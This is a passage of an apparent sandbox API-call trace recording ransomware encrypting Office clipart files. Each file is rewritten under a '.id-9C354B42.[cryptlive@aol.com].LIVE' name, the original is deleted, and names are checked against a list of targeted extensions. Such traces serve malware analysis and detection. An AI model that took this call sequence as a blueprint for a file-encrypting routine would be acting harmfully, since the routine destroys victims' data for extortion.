lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0145.466] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.466] WriteFile (in: hFile=0x3b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.466] SetEndOfFile (hFile=0x3b4) returned 1 [0145.466] CloseHandle (hObject=0x3b4) returned 1 [0145.466] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.466] SetEndOfFile (hFile=0x3a8) returned 1 [0145.470] CloseHandle (hObject=0x3a8) returned 1 [0145.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0145.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0145.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0145.472] lstrlenW (lpString=".doc") returned 4 [0145.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.472] lstrlenW (lpString=".docx") returned 5 [0145.472] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.472] lstrlenW (lpString=".pdf") returned 4 [0145.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.472] lstrlenW (lpString=".xls") returned 4 [0145.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.472] lstrlenW (lpString=".xlsx") returned 5 [0145.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.472] lstrlenW (lpString=".ppt") returned 4 [0145.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0145.472] lstrlenW (lpString=".zip") returned 4 [0145.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.472] lstrlenW (lpString=".rar") returned 4 [0145.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.472] lstrlenW (lpString=".bz2") returned 4 [0145.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.472] lstrlenW (lpString=".7z") returned 3 [0145.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0145.472] lstrlenW (lpString=".dbf") returned 4 [0145.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0145.472] lstrlenW (lpString=".1cd") returned 4 [0145.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0145.472] lstrlenW (lpString=".jpg") returned 4 [0145.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0145.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0145.472] lstrlenW (lpString=".doc") returned 4 [0145.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.473] lstrlenW (lpString=".docx") returned 5 [0145.473] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.473] lstrlenW (lpString=".pdf") returned 4 [0145.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.473] lstrlenW (lpString=".xls") returned 4 [0145.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.473] lstrlenW (lpString=".xlsx") returned 5 [0145.473] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.473] lstrlenW (lpString=".ppt") returned 4 [0145.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0145.473] lstrlenW (lpString=".zip") returned 4 [0145.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.473] lstrlenW (lpString=".rar") returned 4 [0145.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.473] lstrlenW (lpString=".bz2") returned 4 [0145.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.473] lstrlenW (lpString=".7z") returned 3 [0145.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0145.473] lstrlenW (lpString=".dbf") returned 4 [0145.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0145.473] lstrlenW (lpString=".1cd") returned 4 [0145.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 63 [0145.473] lstrlenW (lpString=".jpg") returned 4 [0145.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.473] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.473] lstrlenW (lpString="HH00276_.WMF") returned 12 [0145.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.512] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=3016) returned 1 [0145.512] CloseHandle (hObject=0x39c) returned 1 [0145.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x20 [0145.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.513] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.513] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0145.514] GetLastError () returned 0x0 [0145.514] ReadFile (in: hFile=0x39c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xbc8, lpOverlapped=0x0) returned 1 [0145.515] WriteFile (in: hFile=0x3dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0145.516] ReadFile (in: hFile=0x39c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.516] WriteFile (in: hFile=0x3dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.516] SetEndOfFile (hFile=0x3dc) returned 1 [0145.516] CloseHandle (hObject=0x3dc) returned 1 [0145.516] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.516] SetEndOfFile (hFile=0x39c) returned 1 [0145.529] CloseHandle (hObject=0x39c) returned 1 [0145.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0145.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0145.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0145.531] lstrlenW (lpString=".doc") returned 4 [0145.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.531] lstrlenW (lpString=".docx") returned 5 [0145.531] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.531] lstrlenW (lpString=".pdf") returned 4 [0145.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.531] lstrlenW (lpString=".xls") returned 4 [0145.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.531] lstrlenW (lpString=".xlsx") returned 5 [0145.531] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.531] lstrlenW (lpString=".ppt") returned 4 [0145.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0145.531] lstrlenW (lpString=".zip") returned 4 [0145.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.531] lstrlenW (lpString=".rar") returned 4 [0145.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.531] lstrlenW (lpString=".bz2") returned 4 [0145.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.531] lstrlenW (lpString=".7z") returned 3 [0145.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0145.531] lstrlenW (lpString=".dbf") returned 4 [0145.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0145.531] lstrlenW (lpString=".1cd") returned 4 [0145.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0145.531] lstrlenW (lpString=".jpg") returned 4 [0145.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0145.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0145.531] lstrlenW (lpString=".doc") returned 4 [0145.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.531] lstrlenW (lpString=".docx") returned 5 [0145.532] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.532] lstrlenW (lpString=".pdf") returned 4 [0145.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.532] lstrlenW (lpString=".xls") returned 4 [0145.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.532] lstrlenW (lpString=".xlsx") returned 5 [0145.532] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.532] lstrlenW (lpString=".ppt") returned 4 [0145.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0145.532] lstrlenW (lpString=".zip") returned 4 [0145.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.532] lstrlenW (lpString=".rar") returned 4 [0145.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.532] lstrlenW (lpString=".bz2") returned 4 [0145.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.532] lstrlenW (lpString=".7z") returned 3 [0145.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0145.532] lstrlenW (lpString=".dbf") returned 4 [0145.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0145.532] lstrlenW (lpString=".1cd") returned 4 [0145.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0145.532] lstrlenW (lpString=".jpg") returned 4 [0145.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.532] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.532] lstrlenW (lpString="HH00334_.WMF") returned 12 [0145.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.533] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1528) returned 1 [0145.533] CloseHandle (hObject=0x39c) returned 1 [0145.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x20 [0145.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.534] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.534] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0145.534] GetLastError () returned 0x0 [0145.534] ReadFile (in: hFile=0x39c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x5f8, lpOverlapped=0x0) returned 1 [0145.536] WriteFile (in: hFile=0x3dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x600, lpOverlapped=0x0) returned 1 [0145.537] ReadFile (in: hFile=0x39c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.537] WriteFile (in: hFile=0x3dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.537] SetEndOfFile (hFile=0x3dc) returned 1 [0145.537] CloseHandle (hObject=0x3dc) returned 1 [0145.537] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.537] SetEndOfFile (hFile=0x39c) returned 1 [0145.540] CloseHandle (hObject=0x39c) returned 1 [0145.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0145.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0145.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0145.541] lstrlenW (lpString=".doc") returned 4 [0145.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.541] lstrlenW (lpString=".docx") returned 5 [0145.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.541] lstrlenW (lpString=".pdf") returned 4 [0145.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.542] lstrlenW (lpString=".xls") returned 4 [0145.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.542] lstrlenW (lpString=".xlsx") returned 5 [0145.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.542] lstrlenW (lpString=".ppt") returned 4 [0145.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0145.542] lstrlenW (lpString=".zip") returned 4 [0145.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.542] lstrlenW (lpString=".rar") returned 4 [0145.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.542] lstrlenW (lpString=".bz2") returned 4 [0145.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.542] lstrlenW (lpString=".7z") returned 3 [0145.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0145.542] lstrlenW (lpString=".dbf") returned 4 [0145.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0145.542] lstrlenW (lpString=".1cd") returned 4 [0145.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0145.542] lstrlenW (lpString=".jpg") returned 4 [0145.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0145.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0145.542] lstrlenW (lpString=".doc") returned 4 [0145.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.542] lstrlenW (lpString=".docx") returned 5 [0145.542] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.542] lstrlenW (lpString=".pdf") returned 4 [0145.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.542] lstrlenW (lpString=".xls") returned 4 [0145.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.543] lstrlenW (lpString=".xlsx") returned 5 [0145.543] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.543] lstrlenW (lpString=".ppt") returned 4 [0145.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0145.543] lstrlenW (lpString=".zip") returned 4 [0145.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.543] lstrlenW (lpString=".rar") returned 4 [0145.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.543] lstrlenW (lpString=".bz2") returned 4 [0145.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.543] lstrlenW (lpString=".7z") returned 3 [0145.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0145.543] lstrlenW (lpString=".dbf") returned 4 [0145.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0145.543] lstrlenW (lpString=".1cd") returned 4 [0145.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0145.543] lstrlenW (lpString=".jpg") returned 4 [0145.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.543] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.543] lstrlenW (lpString="HH00443_.WMF") returned 12 [0145.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0145.679] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=3298) returned 1 [0145.679] CloseHandle (hObject=0x384) returned 1 [0145.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x20 [0145.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0145.848] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.849] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0145.849] GetLastError () returned 0x0 [0145.849] ReadFile (in: hFile=0x38c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xce2, lpOverlapped=0x0) returned 1 [0145.851] WriteFile (in: hFile=0x388, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xcf0, lpOverlapped=0x0) returned 1 [0145.852] ReadFile (in: hFile=0x38c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.852] WriteFile (in: hFile=0x388, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, 